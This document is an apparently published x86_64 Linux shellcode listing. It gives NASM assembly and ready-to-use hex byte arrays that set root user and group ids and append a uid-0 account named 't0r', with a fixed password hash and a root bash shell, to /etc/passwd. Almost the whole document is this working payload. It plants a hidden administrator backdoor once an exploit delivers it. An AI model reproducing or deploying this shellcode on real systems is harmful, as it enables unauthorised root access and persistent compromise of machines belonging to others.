Linux x86_64 - add user with passwd 189 bytes

;sc_adduser01.S
;Arch:			x86_64, Linux
;
;Author:		0_o -- null_null
;			nu11.nu11 [at] yahoo.com
;Date:			2012-03-05
;
;compile an executable:	nasm -f elf64 sc_adduser.S
;			ld -o sc_adduser sc_adduser.o
;compile an object:	nasm -o sc_adduser_obj sc_adduser.S
;
;Purpose:		adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: 	setreuid, setregid, open, write, close, exit
;Result:		t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes:	/usr/include/x86_64-linux-gnu/asm/unistd_64.h


BITS 64

[SECTION .text]

global _start

_start:

	;sys_setreuid(uint ruid, uint euid)
        xor     rax,    rax
        mov     al,     113                     ;syscall sys_setreuid
        xor     rbx,    rbx                     ;arg 1 -- set real uid to root
        mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
        syscall

        ;sys_setregid(uint rgid, uint egid)
        xor     rax,    rax
        mov     al,     114                     ;syscall sys_setregid
	xor     rbx,    rbx                     ;arg 1 -- set real uid to root
        mov     rcx,    rbx                     ;arg 2 -- set effective uid to root
        syscall
	
	;push all strings on the stack prior to file operations.
	xor	rbx,	rbx
	mov     ebx,    0x647773FF
        shr     rbx,    8
        push    rbx                             ;string \00dws
        mov     rbx,    0x7361702f6374652f
        push    rbx                             ;string sap/cte/
	mov     rbx,    0x0A687361622F6EFF
        shr     rbx,    8
        push    rbx                             ;string \00\nhsab/n
        mov     rbx,    0x69622F3A746F6F72
        push    rbx                             ;string ib/:toor
        mov     rbx,    0x2F3A3A303A303A67
        push    rbx                             ;string /::0:0:g
	mov	rbx,	0x46556B554B587435
	push	rbx				;string FUkUKXt5
	mov	rbx,	0x546755333A723074
	push	rbx				;string TgU3:r0t
	
	;prelude to doing anything useful...
	mov	rbx,	rsp			;save stack pointer for later use
	push	rbp				;store base pointer to stack so it can be restored later
	mov	rbp,	rsp			;set base pointer to current stack pointer
	
	;sys_open(char* fname, int flags, int mode)
	sub	rsp,		16
	mov	[rbp - 16],	rbx		;store pointer to "t0r..../bash"
	mov	si,		0x0401		;arg 2 -- flags
	mov	rdi,		rbx
	add	rdi,		40		;arg 1 -- pointer to "/etc/passwd"
	xor	rax,		rax
	mov	al,		2		;syscall sys_open
	syscall
	
	;sys_write(uint fd, char* buf, uint size)
	mov	[rbp - 4],	eax		;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
	mov	rcx,		rbx		;arg 2 -- load rcx with pointer to string "t0r.../bash"
	xor	rdx,		rdx
	mov	dl,		39		;arg 3 -- load rdx with size of string "t0r.../bash\00"
	mov	rsi,		rcx		;arg 2 -- move to source index register
	mov	rdi,		rax		;arg 1 -- move to destination index register
	xor     rax,            rax
        mov     al,             1               ;syscall sys_write
        syscall
	
	;sys_close(uint fd)
	xor	rdi,		rdi
	mov	edi,		[rbp - 4]	;arg 1 -- load stored file descriptor to destination index register
	xor	rax,		rax
	mov	al,		3		;syscall sys_close
	syscall
	
	;sys_exit(int err_code)
	xor	rax,	rax
	mov	al,	60			;syscall sys_exit
	xor	rbx,	rbx			;arg 1 -- error code
	syscall
	
	
	
	
;char shellcode[] =
;	"\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
;	"\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
;	"\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
;	"\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
;	"\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
;	"\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
;	"\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
;	"\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
;	"\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
;	"\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
;	"\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
;	"\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
;	"\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
;
;equivalent code:
;
;char shellcode[] =
;	"\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
;	"\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
;	"\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
;	"\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
;	"\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
;	"\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
;	"\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
;	"\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
;	"\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
;	"\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
;	"\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
;	"\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
;	"\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";